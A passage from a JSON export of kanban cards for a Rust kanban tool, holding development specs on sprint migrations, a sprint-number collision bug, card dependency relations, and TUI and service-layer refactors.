migrate_sprint_logs(&mut self) {\n    if let Err(e) = self.ctx.inner.migrate_sprint_logs() {\n        tracing::error!(\"Failed to migrate sprint logs: {}\", e);\n    }\n}\n```\n\n`self.ctx` is `TuiContext`; `self.ctx.inner` is `KanbanContext`.\n\n## Files to modify\n\n- `crates/kanban-domain/src/commands/card_commands.rs` — remove struct, variant, dispatch arms, domain test\n- `crates/kanban-domain/src/commands/mod.rs` — remove serde roundtrip test\n- `crates/kanban-service/src/context.rs` — add `migrate_sprint_logs()`\n- `crates/kanban-tui/src/app/mod.rs:2294-2303` — update caller\n\n## Tests\n\n- Integration: `crates/kanban-service/tests/migrate_sprint_logs.rs` (new file) — two tests: backfill with a card that has `sprint_id` set but empty `sprint_logs`, and no-op when nothing to migrate. Use the same `open_json_ctx` / `open_sqlite_ctx` + macro pattern from `delete_board_cascade.rs`.\n- The pure `card_lifecycle::migrate_sprint_logs()` unit tests in `card_lifecycle.rs:613-660` are untouched.\n\n## Cascade primitives note\n\nIf this lift produces any bulk, validation-bypassing operations that are only valid when executed in a specific sequence, those primitives belong in `cascade_commands` rather than their per-entity module — not because of the entity type, but because of the ordering invariant. Regular commands are self-contained and independently valid; cascade primitives are not.",
        "due_date": null,
        "id": "e1edffa0-57f8-40b2-8408-cd23e1b39b6d",
        "points": null,
        "position": 179,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846383984Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Lift MigrateSprintLogs into service layer",
        "updated_at": "2026-05-14T10:57:05.237249483Z"
      },
      {
        "card_number": 385,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-28T09:24:26.824827700Z",
        "description": "## Bug\n\nWhen a sprint is created with a custom prefix (e.g. DEV) and then the prefix is removed (reverting to the board default, e.g. 'sprint'), the sprint_number is reassigned using the default-prefix counter — starting from 1 — which collides with any already-existing sprint that also has sprint_number=1.\n\n## Steps to Reproduce\n\n1. Board has existing sprints: sprint-1, sprint-2 (prefix='sprint', numbers 1 and 2)\n2. Create a new sprint with prefix='DEV' → gets DEV-1 (sprint_number=1, prefix='DEV')\n3. Remove the prefix from the new sprint (or create it without a prefix) → assigned sprint_number=1 with prefix='sprint', colliding with the existing sprint-1\n\n## Root Cause\n\nThe sprint_number counter is scoped per prefix. When prefix is changed or removed, the counter for the new prefix is consulted independently, without checking for collisions with existing sprint_numbers under that prefix.\n\n## Expected Behaviour\n\nWhen a sprint's prefix is removed or changed, the sprint_number should be assigned as max(existing sprint_numbers for that prefix) + 1, not simply the next value from a potentially-stale counter.\n\n## Workaround\n\nFix the sprint_number directly in the SQLite database:\n```sql\nUPDATE sprints\nSET sprint_number = <correct_number>, prefix = '<correct_prefix>'\nWHERE id = '<sprint_id>';\n```",
        "due_date": null,
        "id": "abc0cdb3-4fc6-42c9-a311-6e6950505ebf",
        "points": null,
        "position": 179,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245186809Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126574886Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245187398Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "bug: removing sprint prefix causes sprint_number collision with existing sprint",
        "updated_at": "2026-05-07T22:06:15.245187723Z"
      },
      {
        "card_number": 386,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-28T09:28:12.816094685Z",
        "description": "## Context\n\n`DependencyGraph` exists in `kanban-domain/src/graph.rs` with five edge types — `Blocks`, `BlockedBy`, `ParentOf`, `ChildOf`, `RelatesTo` — and cycle detection is implemented. The graph is embedded in `Snapshot` and passes through `CommandContext`. However it is currently not wired to any persistence backend, CLI command, or MCP tool. The installed `kanban-mcp` has no dependency tools and the SQLite schema has no `card_edges` table.\n\n## Required Work\n\n### 1. Persistence — SQLite backend\nAdd `card_edges` table to `kanban-persistence-sqlite/src/schema.sql`:\n```sql\nCREATE TABLE card_edges (\n    id          TEXT PRIMARY KEY,\n    board_id    TEXT NOT NULL,\n    from_card   TEXT NOT NULL REFERENCES cards(id) ON DELETE CASCADE,\n    to_card     TEXT NOT NULL REFERENCES cards(id) ON DELETE CASCADE,\n    edge_type   TEXT NOT NULL,  -- 'Blocks' | 'BlockedBy' | 'ParentOf' | 'ChildOf' | 'RelatesTo'\n    created_at  TEXT NOT NULL\n);\n```\nWire load/save of `DependencyGraph` in the SQLite persistence crate alongside the existing card/sprint load paths.\n\n### 2. Persistence — JSON backend\nExtend the JSON snapshot format to include the serialised `DependencyGraph` (it already derives `Serialize`/`Deserialize`). Add a migration for older files that lack the field (default to empty graph).\n\n### 3. Domain commands\nAdd commands in `kanban-domain/src/commands/`:\n- `AddCardEdge { board_id, from_card_id, to_card_id, edge_type }`\n- `RemoveCardEdge { board_id, from_card_id, to_card_id, edge_type }`\n\nBoth should delegate to `DependencyGraph` and propagate `DependencyError` (cycle, self-reference, edge-not-found).\n\n### 4. MCP tools\nAdd to `kanban-mcp/src/` following the existing `mutating_op!` pattern:\n- `tool_add_card_relation(from_card_id, to_card_id, edge_type)`\n- `tool_remove_card_relation(from_card_id, to_card_id, edge_type)`\n- `tool_get_card_relations(card_id)` — returns all edges for a card (both directions)\n- `tool_list_card_relations(board_id, edge_type?)` — list all edges on a board, optionally filtered by type\n\n### 5. CLI commands\nAdd under `kanban card`:\n- `kanban card add-relation --from <id> --to <id> --type <edge_type>`\n- `kanban card remove-relation --from <id> --to <id> --type <edge_type>`\n- `kanban card relations <id>`\n\n## Acceptance Criteria\n- `card_edges` table created and populated on `AddCardEdge`\n- Cycle detection returns a clear error (not a panic)\n- All five edge types round-trip through SQLite and JSON\n- MCP tools appear in the tool list and work end-to-end\n- CLI `add-relation` / `remove-relation` commands work",
        "due_date": null,
        "id": "597daff4-1a4d-41a2-9540-f9bc70a9771f",
        "points": null,
        "position": 180,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245189716Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126556878Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245190299Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "feat(mcp): expose card graph relations via MCP tools",
        "updated_at": "2026-05-07T22:06:15.245190796Z"
      },
      {
        "card_number": 431,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-11T21:52:23.673485610Z",
        "description": "## Problem\n\n`UpdateSprint` in `kanban-domain` is 58 lines mixing three distinct concerns in a single `execute()` method: card_prefix lock checking, prefix uniqueness validation across siblings, and sprint name allocation with board mutation. This makes the method hard to test in isolation and difficult to read.\n\n```rust\n// crates/kanban-domain/src/commands/sprint_commands.rs\nimpl UpdateSprint {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        // 1. Check if card_prefix is being changed\n        //    → fetch sprint → check cards assigned → if locked, error\n        //    → if setting new prefix → fetch board → check board prefix collision\n        //    → fetch sibling sprints → check uniqueness collision\n        // 2. If name is being set\n        //    → fetch sprint → fetch board → allocate name index → upsert board\n        // 3. Fetch sprint → apply updates → upsert sprint\n    }\n}\n```\n\nThe validation logic is domain logic — it belongs in the domain. The problem is organisation, not placement.\n\n## SOLID Solution\n\n**Single Responsibility**: Each validation concern becomes a standalone pure function or method. `execute()` becomes a thin coordinator.\n\n**Open-Closed**: New validation rules (e.g. locked dates, status transitions) can be added as new functions without modifying existing ones.\n\n### Step 1 — Extract card_prefix lock check\n\n```rust\n// crates/kanban-domain/src/commands/sprint_commands.rs\n\nfn validate_card_prefix_not_locked(\n    sprint_id: Uuid,\n    context: &CommandContext,\n) -> KanbanResult<()> {\n    let has_active = !context.store.list_cards_by_sprint(sprint_id)?.is_empty();\n    let has_archived = context\n        .store\n        .list_archived_cards()?\n        .iter()\n        .any(|ac| ac.card.sprint_id == Some(sprint_id));\n    if has_active || has_archived {\n        return Err(KanbanError::validation(\n            \"sprint card_prefix cannot be changed after cards have been assigned\",\n        ));\n    }\n    Ok(())\n}\n```\n\n### Step 2 — Extract prefix uniqueness validation\n\n```rust\nfn validate_card_prefix_unique(\n    new_prefix: &str,\n    sprint_id: Uuid,\n    board_id: Uuid,\n    context: &CommandContext,\n) -> KanbanResult<()> {\n    let new_lower = new_prefix.to_lowercase();\n    let board = context.get_board(board_id)?;\n    if board.card_prefix.as_deref().map(|p| p.to_lowercase()).as_deref() == Some(new_lower.as_str()) {\n        return Err(KanbanError::validation(\n            \"sprint card_prefix must not match the board card_prefix\",\n        ));\n    }\n    let collision = context\n        .store\n        .list_sprints_by_board(board_id)?\n        .iter()\n        .filter(|s| s.id != sprint_id)\n        .any(|s| s.card_prefix.as_deref().map(|p| p.to_lowercase()).as_deref() == Some(new_lower.as_str()));\n    if collision {\n        return Err(KanbanError::validation(\"sprint card_prefix must be unique within the board\"));\n    }\n    Ok(())\n}\n```\n\n### Step 3 — Extract name allocation\n\n```rust\nfn allocate_sprint_name(\n    name: &str,\n    sprint_id: Uuid,\n    context: &CommandContext,\n    updates: &mut SprintUpdate,\n) -> KanbanResult<()> {\n    let sprint = context.get_sprint(sprint_id)?;\n    let mut board = context.get_board(sprint.board_id)?;\n    let idx = board.add_sprint_name_at_used_index(name.to_string());\n    updates.name_index = FieldUpdate::Set(idx);\n    context.store.upsert_board(board)?;\n    Ok(())\n}\n```\n\n### Step 4 — Slim `execute()` coordinates validators\n\n```rust\nimpl UpdateSprint {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        let mut updates = self.updates.clone();\n        let sprint = context.get_sprint(self.sprint_id)?;\n\n        if !matches!(updates.card_prefix, FieldUpdate::NoChange) {\n            validate_card_prefix_not_locked(self.sprint_id, context)?;\n            if let FieldUpdate::Set(ref prefix) = updates.card_prefix {\n                validate_card_prefix_unique(prefix, self.sprint_id, sprint.board_id, context)?;\n            }\n        }\n\n        if let Some(ref name) = updates.name {\n            allocate_sprint_name(name, self.sprint_id, context, &mut updates)?;\n        }\n\n        let mut sprint = context.get_sprint(self.sprint_id)?;\n        sprint.update(updates);\n        context.store.upsert_sprint(sprint)?;\n        Ok(())\n    }\n}\n```\n\n## Files to modify\n\n- `crates/kanban-domain/src/commands/sprint_commands.rs` — extract three private functions, slim `execute()`\n\n## Tests\n\n- Unit: `validate_card_prefix_not_locked` — sprint with cards returns error, sprint without cards passes\n- Unit: `validate_card_prefix_unique` — collision with board prefix, collision with sibling, no collision\n- Unit: `allocate_sprint_name` — correct name index allocated, board upserted\n- Existing integration tests should pass unchanged — behaviour is identical, only structure changes",
        "due_date": null,
        "id": "73a9ea39-0c3f-4f19-a4cb-3ea261fc444e",
        "points": null,
        "position": 180,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846348055Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Extract UpdateSprint validators into pure functions",
        "updated_at": "2026-05-14T10:57:05.237249922Z"
      },
      {
        "card_number": 387,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-28T09:28:52.959032038Z",
        "description": "## Context\n\nThe card list view currently supports a **set children** action — you can select multiple cards and assign them as children of a focused card. The inverse operation (**set parent**) does not exist: there is no way to select multiple cards and assign them all a single parent in one action.\n\nThis is the more natural workflow when decomposing work: you start with a set of cards you want to group, then designate one of them (or a new card) as the parent. Requiring the user to navigate to the intended parent and then use set-children is backwards and breaks flow.\n\n## Required Work\n\n### 1. Prerequisite\nThis feature depends on the graph relations being wired to persistence and commands (see feat(mcp): expose card graph relations via MCP tools). The `ParentOf` / `ChildOf` edge types in `DependencyGraph` are the backing model.\n\n### 2. TUI — card list handler\nIn `kanban-tui/src/handlers/` (or whichever module owns card list actions), add a **Set Parent** action:\n\n1. User selects one or more cards in the card list (multi-select already exists for set-children).\n2. User triggers **Set Parent** (e.g. keybind `P` or a menu item).\n3. A card picker dialog opens (same pattern as column-move picker) — user selects the intended parent card.\n4. Dispatch `AddCardEdge { edge_type: ParentOf }` for each selected card → parent, and the symmetric `AddCardEdge { edge_type: ChildOf }` for parent → each selected card.\n\n### 3. UI — card list display\nShow a visual indicator on cards that have a parent (e.g. a `↳` prefix or a `[P]` badge in the card row) so the hierarchy is visible without opening the card detail.\n\n### 4. Keybinding\nRegister the new action in the keybinding config system so it is rebindable. Suggested default: `P` in card list normal mode (uppercase to avoid collision with priority shortcut).\n\n## Acceptance Criteria\n- Selecting N cards and triggering Set Parent → picking card X results in N `ChildOf` edges (selected → X) and N `ParentOf` edges (X → selected) stored in the graph\n- The action is undoable via the existing undo stack\n- Cards with a parent show a visual indicator in the card list\n- The keybinding is documented and rebindable",
        "due_date": null,
        "id": "d8285554-295f-46e0-a24c-e8567b039e92",
        "points": null,
        "position": 181,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245192505Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126578485Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245193011Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "feat(tui): add set-parent action in card list",
        "updated_at": "2026-05-07T22:06:15.245193452Z"
      },
      {
        "card_number": 434,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-11T22:58:23.322907941Z",
        "description": "## Why\n\nKAN-394's service-layer orchestration produced a recurring pattern:\nthe service exposes both a singular and a plural method for the same\nunderlying operation, with the singular doing its own small batch\nconstruction. Today:\n\n- `update_card` (singular) builds its own UpdateCard + chained\n  command batch *asymmetrically* (only `status → column` auto-sync).\n- `update_cards` (plural) builds the same per entry *symmetrically*\n  (both `status → column` and `column → status`), and adds per-batch\n  position offsets to avoid collisions.\n- `assign_card_to_sprint` (singular) wraps\n  `AssignCardsToSprint { ids: vec![id], sprint_id }`. Plain enough to\n  reduce to `assign_cards_to_sprint(vec![id], sprint_id)`.\n- `archive_card` (singular) is **already** a shorthand over\n  `archive_cards(vec![id])` (see `context.rs:950`).\n- `move_card` (singular) takes `position: Option<i32>` while\n  `move_cards` has no per-card position. **Blocked** — see Out of scope.\n\nThe duplication costs us three things:\n\n1. **Behavioural drift**: `update_card`'s asymmetric auto-sync silently\n   misses cases that `update_cards` handles. Any future tweak (e.g.\n   KAN-432's per-board opt-out) has to land in N places that must stay\n   in lock-step.\n2. **Conceptual noise**: two routes through the service for what should\n   be the same operation.\n3. **Wasted maintenance**: every time we touch the orchestration we have\n   to remember every singular/plural pair.\n\n## Design principle\n\n**Singular builds on plural, not the other way around.** The atomic\ntransaction (`KanbanContext::execute(Vec<Command>)`) is the fundamental\nunit at the service layer; the per-card operation lives one layer down\nin the domain commands. The plural method composes the transaction —\nincluding auto-sync chaining, per-batch position offsets, and (later)\nKAN-432's config-driven opt-out. The singular method is a convenience\nwrapper for the batch-of-one case.\n\nWhy this direction and not the reverse:\n\n- **Atomicity is the contract that matters most.** Multi-select 'c' on\n  5 cards must be one undo unit — pressing `u` once must revert all\n  five. If the plural looped the singular, every batch would be N\n  separate undo units. That defeats the purpose of `execute(Vec<Command>)`\n  and regresses the UX we just shipped in commit `d0a8ca9`.\n- **Single source of truth.** Auto-sync direction, position offset\n  tracking, future config flags all live in one place. The singular\n  cannot drift from the plural's semantics because it literally is\n  one entry into the plural.\n- **N = 1 is a clean special case.** A batch of one runs the same\n  orchestration; the position offset map has one entry that increments\n  to 1 and is discarded. No special-case code needed.\n- **Cost is negligible.** One `Vec::new()` + one `get_<entity>` per\n  singular call. We pay it once at construction; we gain a single\n  reasoning surface for every future change.\n\nWhen a future contributor adds another singular variant, the rule is:\ndelegate to the plural with `vec![one]` and (if the return type\nrequires it) trail with a `get_<entity>(id)`. Never invert this and\nhave the plural loop the singular.\n\n## What\n\nMake every eligible singular service method a one-line shorthand over\nits plural counterpart.\n\n### `update_card` → `update_cards`\n\n`crates/kanban-service/src/context.rs::update_card` (around line 843).\nNew body, full replacement:\n\n```rust\nfn update_card(&mut self, id: Uuid, updates: CardUpdate) -> KanbanResult<Card> {\n    self.update_cards(vec![(id, updates)])?;\n    self.get_card(id)?\n        .ok_or_else(|| KanbanError::not_found(\"card\", id))\n}\n```\n\nThis deletes:\n\n- The asymmetric `match (updates.status, &updates.column_id)` block.\n- The local `MoveCard` import inside the function.\n- The per-call construction of the chained batch — `update_cards`\n  already does this symmetrically and with offset tracking.\n\n### `assign_card_to_sprint` → `assign_cards_to_sprint`\n\n`crates/kanban-service/src/context.rs::assign_card_to_sprint` (around\nline 1004). New body:\n\n```rust\nfn assign_card_to_sprint(&mut self, card_id: Uuid, sprint_id: Uuid) -> KanbanResult<Card> {\n    self.assign_cards_to_sprint(vec![card_id], sprint_id)?;\n    self.get_card(card_id)?\n        .ok_or_else(|| KanbanError::not_found(\"card\", card_id))\n}\n```\n\nReplaces the explicit `AssignCardsToSprint { ids: vec![card_id], sprint_id }`\nconstruction and `execute` call with the trait-level shorthand.\n\n### `archive_card`\n\nNo change — it already delegates to `archive_cards(vec![id])` (see\n`context.rs:950–957`). Sanity-check it still looks right after this\nrefactor lands.\n\n## Where the wiring lives\n\n- `crates/kanban-service/src/context.rs::update_card` — collapse.\n- `crates/kanban-service/src/context.rs::assign_card_to_sprint` —\n  collapse.\n- No other files change. The trait signatures\n  (`KanbanOperations::update_card`, `::assign_card_to_sprint`) and\n  their return types are preserved.\n- `move_card`, `move_cards`, and the `*_detailed` inherent methods are\n  untouched — out of scope.\n- The pure helpers in `kanban_domain::card_lifecycle`\n  (`target_column_for_status`, `target_status_for_column_move`) and the\n  private bundling helpers on `KanbanContext` are unchanged.\n\n## Acceptance\n\nFor `update_card`:\n\n- All existing tests in `crates/kanban-service/tests/completion_sync.rs`\n  and `crates/kanban-mcp/tests/integration.rs` stay green.\n- Add three new tests covering the column-only path that previously\n  bypassed auto-sync:\n  - `test_update_card_column_only_to_completion_column_sets_status_done`\n  - `test_update_card_column_only_away_from_completion_clears_done`\n  - `test_update_card_column_only_to_non_completion_column_no_status_change`\n\nFor `assign_card_to_sprint`:\n\n- Existing tests (any in `kanban-service/tests/`, `kanban-mcp/tests/`,\n  `kanban-cli/tests/`) stay green. Behaviour is identical.\n- No new tests needed — it's a pure mechanical reduction with no\n  behaviour change.\n\nAcross both:\n\n- `cargo test --workspace`,\n  `cargo clippy --workspace --all-targets -- -D warnings`,\n  `cargo fmt --check` clean.\n- No callers change. Public signatures preserved.\n\n## Behaviour change for existing callers\n\n| Method | Caller-visible change |\n|---|---|\n| `update_card` | Closes the column-only auto-sync gap. Today no production caller uses this path (TUI uses status-only or both; CLI/MCP forward to `move_card` for column changes). Extension, not break. |\n| `assign_card_to_sprint` | None. Mechanical reduction. |\n| `archive_card` | None. Already a shorthand. |\n\n## Out of scope — `move_card` blocker\n\n`KanbanContext::move_card(id, column_id, position: Option<i32>)` cannot\ncleanly collapse into `move_cards(vec![id], column_id)` because:\n\n- `move_cards` accepts a single target `column_id` for all cards but\n  has no per-card `position` parameter.\n- The underlying `MoveCards` domain command in\n  `crates/kanban-domain/src/commands/card_commands.rs` does not carry\n  per-card positions — it appends.\n- Routing `move_card` through `update_cards(vec![(id, CardUpdate {\n  column_id: Some(col), position, .. })])` would bypass the WIP-limit\n  check that `MoveCard::execute` performs (`UpdateCard::execute` does\n  not check WIP limits — likely a separate latent bug).\n\nResolving this would require either:\n\n1. Adding per-card positions to `MoveCards` (signature + command +\n   storage change), OR\n2. Surfacing WIP-limit checking inside `UpdateCard::execute` so\n   `update_cards` can safely subsume column changes.\n\nBoth are non-trivial and worth a dedicated follow-up — not this card.\n\n## Commit shape\n\nOne `refactor(service)` commit covering both reductions + the three\nnew `update_card` column-only tests. Roughly:\n\n- `crates/kanban-service/src/context.rs` — ~50 lines deleted, ~10 added.\n- `crates/kanban-service/tests/completion_sync.rs` — ~80 lines added.\n\n## Notes\n\n- KAN-432 (per-board auto-sync config) lands cleanest *after* this\n  card: it only has to thread the flag through `update_cards` and\n  `move_cards`, not the singular variants too.\n- KAN-433 (drop dead lifecycle helpers) is independent — can land\n  before or after.\n- If the WIP-limit-on-update concern ends up mattering before the\n  `move_card` collapse is attempted, file as a separate card.\n\n## Risk\n\nVery low. The new `update_card` and `assign_card_to_sprint` behaviour\nis exactly what `update_cards(vec![(id, updates)])` and\n`assign_cards_to_sprint(vec![id], sprint_id)` already do today —\nlocked down by the existing batch tests.",
        "due_date": null,
        "id": "1791bdf5-4285-47ef-9b44-72dc3586c8d6",
        "points": 3,
        "position": 181,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:24.403406690Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "refactor(service): collapse singular service methods into shorthands over their plural counterparts",
        "updated_at": "2026-05-14T10:57:05.237250580Z"
      },
      {
        "card_number": 388,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-29T08:43:58.888989800Z",
        "description": "**Motivation:** Sprint names cannot currently be changed after creation. This makes it impossible to correct a typo or improve a name without deleting and recreating the sprint. Rename support is needed across all three interfaces for consistency.\n\n**Scope:**\n- MCP: add `update_sprint` tool (or extend existing) with a `name` field\n- CLI: `kanban [FILE] sprint update <ID> --name <NEW_NAME>`\n- TUI: inline rename action on the sprint (e.g. via keybind or edit modal)",
        "due_date": null,
        "id": "b823ed0c-e35e-4609-87d8-d79964dd69d2",
        "points": null,
        "position": 182,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806935521Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "feat: add sprint rename — MCP tool, CLI command, and TUI action",
        "updated_at": "2026-05-07T21:58:57.806935960Z"
      },
      {
        "card_number": 435,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-11T23:24:55.116154968Z",
        "description": "# KAN-435: sprint-detail card lists reuse the main-board CardListComponent\n\n## Original report\n\nThe narrow bug: scrolling didn't work inside the sprint-detail card lists. While planning the fix the scope expanded into \"sprint detail should behave like the main board\" — same renderer, same actions, same view modes.\n\n## Phase 1 — shipped (PR #261, branch `KAN-435/scrolling-in-the-card-lists-of-sprint-details`)\n\nSix commits, branch ready for merge:\n\n- `71cf133` `refactor(tui): align sprint-detail panel action configs with main-board card list` — both panels use `CardListComponentConfig::default()`; Completed gains multi-select, Uncompleted gains movement\n- `f61180e` `fix(tui): sprint-detail card lists scroll when selection passes viewport` — `SprintViewState::sync_scroll(uncompleted_viewport, completed_viewport)` called from `render_sprint_detail_with_tasks` with per-panel viewport heights\n- `8412f11` `refactor(tui): populate sprint-detail panels via CardQueryBuilder` — board's `task_sort_field` / `task_sort_order` apply on populate\n- `20cdf53` `chore: add changeset for KAN-435 partial implementation`\n- `1873230` `chore(tui): drop redundant comments on sprint-detail scroll and populate`\n- `0f40d2f` `test(tui): cover sort-on-populate and handler→raw-CardList sync in sprint detail`\n\nTests: 8 in `crates/kanban-tui/tests/sprint_detail_card_list_tests.rs` (scrolling, multi-select symmetry, movement enablement, default-panel focus, panel independence, sort-on-populate, handler→raw-CardList sync at `detail_view_handlers.rs:982`, status partitioning). Workspace tests 0 failures; clippy + fmt clean.\n\n## Phase 2 — not started\n\nPhase 1 fixed the literal bug + lifted action parity but kept the sprint-detail panels on a bespoke render path. The user's expanded intent: sprint detail should be the **same view-strategy machinery** the main board uses, just with different column definitions. Concretely:\n\n- **Kanban** in sprint detail = two side-by-side panels, columns = `[Uncompleted, Completed]`\n- **GroupedByColumn** = single list with `Uncompleted` / `Completed` section headers\n- **Flat** = single list of every sprint card\n\nSame key bindings as the main board (`h`/`l` switch panels, `H`/`L` move cards between *board* columns, `v`/`V` multi-select, `e` edit, `/` search, `o`/`O` sort, `V`-uppercase toggle view, Enter/Space open detail, `n` create, `d` archive). When a card is selected in the Uncompleted panel, the original board column it lives in shows as a label on the panel title. Completed cards get no extra label.\n\nThis is a substantial refactor of the view-strategy abstraction, not a bug fix.\n\n## Approach\n\n### 1. Make the view-strategy column-partition-agnostic\n\nToday the view strategy (`crates/kanban-tui/src/view_strategy.rs`, `layout_strategy.rs`) hardcodes board columns as the partition source. `ColumnListsLayout` builds one `CardList` per `board.column`; `VirtualUnifiedLayout` and `SingleListLayout` use the board's flat card list.\n\nIntroduce a `ColumnPartition` shape — minimal:\n\n```rust\n// new in crates/kanban-tui/src/view_strategy.rs\npub struct ColumnPartition {\n    pub title: String,\n    pub cards: Vec<Uuid>,  // pre-filtered, pre-sorted IDs\n}\n```\n\nThe layout strategy takes `Vec<ColumnPartition>` instead of computing from `board.columns`. Two adapters build these:\n\n- **Main board**: `build_board_partitions(board, ctx)` → one partition per board column, cards filtered/sorted via `CardQueryBuilder::in_column`.\n- **Sprint detail**: `build_sprint_partitions(sprint_id, board, ctx)` → two partitions, `Uncompleted` and `Completed`, each filtered+sorted via `CardQueryBuilder::in_sprints`, then post-partitioned by `card.is_completed()`.\n\n`ViewRefreshContext` gains a `partitions: Vec<ColumnPartition>` source field. The board chooses its source at `prepare_frame` time based on whether the active mode is `SprintDetail` or the normal board view.\n\n### 2. Sprint detail uses `ViewStrategy` end-to-end\n\nDelete `SprintViewState::{uncompleted_cards, completed_cards, sync_scroll, uncompleted_component, completed_component}`. Replace with one `view_strategy: Box<dyn ViewStrategy>` reflecting the current `task_list_view`. The strategy holds the layout (Flat / Grouped / Kanban) and the partitions.\n\n- `SprintViewState::panel` becomes the index into `Vec<ColumnPartition>` — `0 = Uncompleted, 1 = Completed`. h/l moves the panel index. In Flat or GroupedByColumn views, panel switching is a no-op (single list).\n- All key handling delegates to the active layout's selected `CardListComponent`, same as the main board.\n\n### 3. Render path collapses to the existing `RenderStrategy`\n\n`crates/kanban-tui/src/ui/sprint_detail.rs::render_sprint_detail_with_tasks` becomes:\n\n```rust\n// after sprint metadata at top, give the rest of `area` to the strategy\nlet view_area = ...;\napp.sprint_view.view_strategy.render(&app, frame, view_area);\n```\n\nSame as the main board's `render_tasks`. The `RenderStrategy` (`SinglePanelRenderer` / `MultiPanelRenderer`) renders into whatever `Rect` you give it. The bespoke `render_sprint_task_panel_with_selection` and its hand-rolled `Paragraph` loop are deleted.\n\nThis also brings **horizontal-truncation handling** along, since the renderer already truncates long card titles to fit `area.width` (it's the same `render_card_list_item` helper).\n\n### 4. Original-column label on the focused panel\n\nWhen the focused partition is `Uncompleted` (panel index 0), the selected card's board column name is shown in the panel title:\n\n```\n┌ Uncompleted (5) → InProgress ──────────────┐\n```\n\nImplementation: at render time, read `selected_card.column_id` from `app.model.cards()`, look up the column name in `app.model.columns()`, suffix the panel title. Completed (index 1) renders without the suffix per the user spec. The label is a render-time computation, not stored state.\n\n### 5. Original-column tracking on un-complete\n\nCarried over from phase 1's plan. `SprintViewState::original_columns: HashMap<Uuid, Uuid>`. When the user toggles `c` on a card in the Uncompleted partition, record `card_id → card.column_id` before issuing the status update. When toggling `c` on a Completed card with an entry in the map, route the move back to the recorded column (`update_card` with both `status` and `column_id` set — KAN-394's `(Some, Some) → respect both` branch).\n\nPre-existing Completed cards (no map entry) keep KAN-394's second-to-last fallback. In-memory only, resets when sprint detail closes.\n\n### 6. Search and `prepare_frame` integration\n\nThe board's existing `prepare_frame` (`crates/kanban-tui/src/app/mod.rs:1541`) rebuilds the main-board strategy each frame using a `ViewRefreshContext`. Extend it to also rebuild the sprint-detail strategy when `app.mode` (or the base mode) is `SprintDetail`. The sprint-specific `ViewRefreshContext` carries the same `search_query` and active sprint as the main board — search now propagates.\n\n### 7. Key parity verification\n\nAfter 